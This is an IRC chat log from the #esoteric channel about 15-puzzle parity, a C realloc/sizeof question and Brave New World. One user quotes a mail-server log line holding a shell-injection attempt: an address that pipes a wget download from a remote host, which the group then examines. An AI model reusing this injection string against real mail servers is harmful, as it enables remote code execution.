#esoteric :"The invariant is the parity of permutations of all 16 squares (15 pieces plus empty square) plus the parity of the taxicab distance moved by the empty square." < 1269995728 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(should be the same for all sizes m*n with m,n>=2, by the rest of the section < 1269995731 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :) < 1269995739 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is already lost
< 1269995757 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :parity of permutations is whether you make an even or odd number of swaps < 1269995782 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the parity of the taxicab distance is whether x+y is odd or even < 1269995810 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :"For the 15-puzzle, lengths of optimal solutions range from 0 to 80 moves; the 8-puzzle can be solved in 31 moves or fewer (integer sequence A087725)." < 1269995863 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Think of it as roles, except every class is a role, I think < 1269995865 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so if you were doing it by clicks, you'd need at least on the order of 31 clicks to get full difficulty, i take < 1269995896 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries it
< 1269995929 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION listens to the Elfen Lied theme "Lilium"
< 1269995988 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :31 is too many for the application to process without being able to get events. Too long without aw_wait(), and it disconnects < 1269996008 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I _think_ < 1269996034 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, I know that's the case that that can be an issue, but maybe something else is going on instead. Need to look up the error < 1269996046 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well, do a fisher-yates shuffle then < 1269996067 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh, it's doing too many things at once < 1269996079 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'll slow it down and see what happens < 1269996097 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Actually, it _still_ resulted in a too easy puzzle < 1269996119 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :maybe the 8-puzzle simply is too small to _be_ hard < 1269996144 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, hard for _me_ in particular < 1269996159 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It shouldn't be a trivial 3 or 4 clicks away < 1269996195 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if you are doing random clicks, maybe most of them are forbidden moves? < 1269996200 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so no effect < 1269996212 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :No. It's set up to do only good moves < 1269996218 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Random good moves < 1269996226 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269996233 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But there's currently nothing blocking it from clicking, then reversing what it just did < 1269996236 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I should try thatr < 1269996241 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269996717 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION also gives it some breathing room
< 1269997082 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The breathing room I gave it means you can actually watch the scrambling take place < 1269997085 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION needs to go soon
< 1269997520 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Quit: Leaving. < 1269997971 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION still gets occasional too-easy results
< 1269998061 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION still needs to go soon, and has no time to think about it
< 1269998128 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I still don't get how you'd use fisher-yates to scramble something like this. It's a 2-dimesonal list < 1269998177 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um you don't know how to treat a 2-dimensional list as 1-dimensional for scrambling purposes? < 1269998204 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :When you put it like that, I can figure it out >.> < 1269998267 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Actually, I have code that I think does that for normal lists < 1269998310 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you need to keep track of the parity though < 1269998313 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Actually, not quite < 1269998335 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, how do I do that? < 1269998386 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :if you are not swapping the blank, then it's just a matter of noting whenever you swap two items < 1269998399 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(the blank needs special treatment, apparently) < 1269998423 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :g2g < 1269999439 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269999747 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1270001374 0 :augur!~augur@c-68-54-80-152.hsd1.md.comcast.net JOIN :#esoteric < 1270006789 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :freefall XD < 1270007051 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1270007210 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :XD < 1270009580 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1270009663 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :X and D < 1270010889 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1270010955 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1270011408 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :someone save me < 1270011412 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I'm reading /. comments < 1270011419 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :on global warming < 1270013898 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1270013930 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1270014102 0 :gigo!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1270014208 0 :bsmntbombdood!~gavin@174-16-222-80.hlrn.qwest.net JOIN :#esoteric < 1270016340 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1270016835 0 :MigoMipo!~migomipo@84-217-0-196.tn.glocalnet.net JOIN :#esoteric < 1270016999 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270019180 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1270020005 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1270020774 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1270021874 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1270022102 0 :cal153!unknown@unknown.invalid QUIT : < 1270022399 0 :clog!unknown@unknown.invalid QUIT :ended < 1270022400 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1270022592 0 :FireFly!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270026109 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1270026714 0 :adam_d!~Adam@aasx145.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1270032181 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1270034797 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1270035341 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1270036655 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Reboot < 1270036746 0 :pineapple!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1270037249 0 :Asztal!~asztal@host86-156-103-118.range86-156.btcentralplus.com JOIN :#esoteric < 1270037906 0 :Tritonio_GR!~Tritonio@athedsl-256698.home.otenet.gr JOIN :#esoteric < 1270038201 0 :kar8nga!~kar8nga@91.35.72-86.rev.gaoland.net JOIN :#esoteric < 1270038465 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1270040403 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1270041687 0 :adam_d!~Adam@aasx145.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1270042519 0 :sebbu2!~sebbu@ADijon-152-1-6-215.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1270042730 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1270042730 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1270043939 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric : submitted 578 milliseconds ago < 1270043947 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :is that an in-joke if you happen to load the page right after a submission? < 1270043952 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it seems rather ridiculously precise < 1270044001 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1270044730 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1270044752 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, more likely just using a generic time span formatting function < 1270044763 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :maybe < 1270045541 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270047980 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1270049573 0 :adam_d!~Adam@aasx145.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1270049606 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1270049688 0 :hiato!unknown@unknown.invalid QUIT :Quit: Lightning storm < 1270049743 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1270050674 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, there? I'm having some problems understanding some C code I have written. To begin with: all C compilers seem to accept it, but a static analyser ("sparse", developed by linux kernel developers, but useful for userland apps too) complains about it. And I have to agree with it. < 1270050676 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : list = (ipList*)realloc(*me, sizeof(ipList) + sizeof(instructionPointer[(*me)->size + ALLOCCHUNKSIZE])); < 1270050678 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is the line < 1270050690 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, let me look < 1270050691 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it says "cannot size expression" < 1270050700 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and that code does seem to use sizeof() strangely < 1270050701 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :sizeof an array element looks really weird < 1270050708 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :assuming instructionPointer is an array there < 1270050720 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :why wouldn't you just write sizeof(*instructionPointer)? < 1270050724 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1270050729 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm trying to find where instructionPointer is < 1270050734 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :OTOH, that makes more sense if instructionPointer is a typedef < 1270050748 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in which case, it would be valid in C99 but not C89 < 1270050752 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, it *is* a typedef < 1270050759 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because you can take the size of a hypothetical VLA, but only if the lang supports VLAs < 1270050761 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but it still doesn't make much sense < 1270050770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aha < 1270050807 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, casting the return value of realloc just masks bugs, by getting compilers to shut up if you use the wrong type (for realloc) rather than complaining < 1270050813 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you only do it in C++ < 1270050819 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, that iplist that I realloc is a struct with a "dynamic" array element at the end < 1270050832 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(C99 introduced that) < 1270050843 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I'm still not quite sure what I'm trying to do there < 1270050846 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yep, and in C99 the flexible element counts 0 towards the size < 1270050851 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, indeed < 1270050858 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but why the sizeof of an array!? < 1270050876 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: because, the end of the struct has to be the right size < 1270050883 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1270050898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but why not sizeof type multiplied with number of elements? < 1270050923 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the C89 equivalent would be list = (ipList*)realloc(*me, sizeof ipList + ((*me)->size + ALLOCCHUNKSIZE) * sizeof (instructionPointer))); < 1270050935 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mmm < 1270050943 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :sizeof type * number of elements is probably more portable < 1270050953 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although in C89, you'd have to use the struct hack rather than relying on a flexible array member < 1270051006 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't care about C89 compat though. There are enough large-enough-subset-of-C99-at-least compilers out there < 1270051051 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :writing that line C89-style would be quite a bit /clearer/, though < 1270051057 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(gcc, icc, clang, open64 (though that one iirc reuses code from the gcc frontend), ...) < 1270051059 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hypothetical VLAs are just confusing to read < 1270051066 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1270051072 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, what about padding? < 1270051091 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: arrays aren't padded, and struct padding is taken into account in the first sizeof < 1270051097 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm true < 1270051129 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, now I wonder if, true to gcc's usual stupidity, it will in fact create and then discard such a VLA there < 1270051158 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's unlikely, it would probably be noticed by the backend even if the frontend didn't catch it < 1270051167 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hopefully < 1270051181 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :dead code elimination's impossible to do perfectly in theory, but dead variable elimination is noticed by the SSA stage < 1270051187 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and even if it wasn't, would be noticed in register allocation < 1270051202 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although, who knows what contortions gcc goes through to make VLAs work < 1270051214 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I think they are done with alloca() < 1270051215 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc < 1270051233 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, alloca and VLAs work differently to each other < 1270051240 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in fact, there's a big warning that they don't mix somewher < 1270051243 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*somewhere < 1270051258 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as they both use different notions of scope, and processors don't have the INTERCAL thing where scopes are pretty much independent < 1270051347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1270051568 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm it seems sparse dislike VLAs completely < 1270051640 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if it's designed for the kernel, I'm not surprised < 1270051657 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, It used to not error out on them though < 1270051667 0 :hiato!~fdulu@41.132.216.79 JOIN :#esoteric < 1270051673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION finds it funny that it warns about using 0 as NULL
< 1270051739 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I like the unadorned 0s more than NULL personally. < 1270051791 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I actually prefer using NULL (makes it clear it is a pointer, easier to read the code), but I'm not going to change this instance since it is in output generated by gperf < 1270051905 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah, it warns "warning: potentially expensive pointer subtraction" when you substract two pointers if the types of those pointers are not a power of two < 1270051962 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And yes, I'd write count*sizeof(element) up there, that's the usual thing in array-mallocs and so on. < 1270052018 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1270052067 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1270052077 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Recently seen in mailserver logs: someone tried to send email to "root+:|wget http://fortunes.in/x1x.php@zem.fi". < 1270052136 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uhu < 1270052145 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :+:| ? < 1270052177 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :looks like a weird smiley. What sort of special meanings could those be thought to have? < 1270052213 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :+ is reasonably common as user+ext@domain, to let users create "sub-addresses" freely. < 1270052237 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and the : ? < 1270052267 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And of course |foo runs foo in a shell in quite many contexts. The : I'm not sure of. < 1270052287 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1270052313 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'm sure it does something special somewhere, though, otherwise they wouldn't bother trying. < 1270052322 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1270052334 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, sure it didn't work on your system? ;) < 1270052384 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Postfix logs at least just had an "invalid address extension" error message. < 1270052578 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1270052787 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :What it is even trying to pipe to wget? Presumably it intends to upload something sensitive (or clog something with pipe)... < 1270052877 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or download something? < 1270052898 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :What does wget even do with stdin? < 1270052957 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :maybe there isn't a way to do whatever it is without piping? Or the | doesn't mean pipe in this case < 1270052968 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, maybe it is trying to download x1x.php... < 1270053003 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't recommend doing it, who knows what it is < 1270053077 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Maybe try grabbing that file for analysis? < 1270053079 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1270053157 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Ilari, I'm not very interested in it really, and I don't want to run into problems if it is, for example, exploiting a bug in wget. < 1270053179 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and I don't have any virtual machines handy atm < 1270053204 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Use telnet to send request and record the stream? < 1270053257 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Or netcat... < 1270053274 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why don't you do it? ;P < 1270053645 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :I don't know if it requires some headers, but ncing gets '4xxx0' (chunked encoding). The headers don't seem to contain anything special... < 1270053735 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1270053756 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Ilari, no binary data that isn't visible when output to terminal? < 1270053797 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Ilari, also I hope you changed the bit after @ < 1270053867 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :I dropped it as its presumably not part of URL. < 1270053876 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1270053895 0 :adam_d_!~Adam@aasx145.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1270053896 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Ilari, you are probably correct there. < 1270053935 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :Attempt to "bug" the mail? I dumped the stream as hexadecimal. All characters are either ascii printable, CR or LF. < 1270054086 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: If its indeed bugged, you may get some extra spam to that account. Sorry. :-) < 1270054093 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1270054264 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: But hey, its root@, so it should aready be extra-roasty with spam. :-> < 1270054700 0 :kar8nga!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1270054793 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1270054982 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1270055506 0 :lereah_!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270056687 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1270057051 0 :adam_d_!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1270060059 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Quit: Leaving. < 1270060490 0 :augur!unknown@unknown.invalid QUIT :Read error: Operation timed out < 1270060538 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1270060871 0 :ehirdiphone!~ehirdipho@82.132.248.25 JOIN :#esoteric < 1270060891 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Wowz. < 1270060959 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hhi! < 1270061144 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone < 1270061255 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Yyyyyo < 1270061258 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :suup < 1270061265 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :everyone has everything, so no one wants anything < 1270061269 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :In the I < 1270061272 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :everyone has everyone so that no one has no one! < 1270061282 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :inner circle of hell < 1270061284 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :We're not too stupid and we're not too bright, to be a gamma is to be just right! < 1270061290 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I speaketh < 1270061518 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone: take some soma < 1270061557 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :this channel sucks. < 1270061560 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION hangs himself
< 1270061573 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :lament: Please do! < 1270061594 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :lament, maybe you should go to the reconditioning center! < 1270061625 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :too late, i'm dead! < 1270061628 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Maybe you should stop being so fucking cheerful! < 1270061632 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :was and will make me ill, I take a gram and there I am! < 1270061636 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :fax that is < 1270061690 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I am, after all, in the prescense of Dark forces. < 1270061702 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone - you've not read brave new world? < 1270061792 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I am joking of course < 1270061815 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :— but it is not the perfect time when mine is so limited :P < 1270061826 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :huh? < 1270061911 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I am in the Realm of hell — you know; There. < 1270061944 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :ehirdiphone that's why I was referencing brave new world.. seems to have been totally lost on you thouhg < 1270062016 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :bbl < 1270062090 0 :kar8nga!~kar8nga@91.35.72-86.rev.gaoland.net JOIN :#esoteric < 1270062554 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :b < 1270062811 0 :jcp!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270063392 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Nineteen Eighty-Four would be more apropos. < 1270063469 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1270063779 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Well, it is true, as better as Huxley's dystopia was. < 1270063797 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :brave new world is a dystopia? < 1270063860 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :You didn't notice? :£ < 1270063864 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :*:) < 1270063885 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :seemed like utopia to me... < 1270063914 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :You would like to live there? < 1270063932 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what's that to do with anything? < 1270063958 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :I suppose I could grant utopia and dystopia as different forms of the same thing, the former more insidious. < 1270063966 0 :charlls!~charlls@201.226.222.130 JOIN :#esoteric < 1270063970 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :But that isn't the common use. < 1270063984 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :well how is it a dystopia? < 1270064000 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :"It Sucks." < 1270064007 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :how does it suck? < 1270064026 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Well, that's mere taste. < 1270064060 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :ok so you think it's a dystopia and i don't, what's the problem < 1270064080 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hello < 1270064093 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :lament: Nothing. < 1270064098 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :k < 1270064116 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :fax: Jhellok < 1270064122 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's obviously a dystopia :| < 1270064140 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :how so? < 1270064145 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :lament is crazy though :) < 1270064152 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :he just likes the idea of lots of drugs < 1270064161 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :what makes it a dystopia? < 1270064164 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :aren't people happy? < 1270064168 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :no < 1270064175 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :yes they are < 1270064183 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :On a base level < 1270064188 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :Intelevtually? < 1270064191 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :lec < 1270064191 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :that wasn't even a question. that was a statement, disguised as a question. < 1270064242 0 :ehirdiphone!unknown@unknown.invalid PRIVMSG #esoteric :"RHETORIC" ability unlocked! < 1270064249 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1270064251 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hi ehirdiphone < 1270064340 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is considering doing some Google Summer of Code stuff
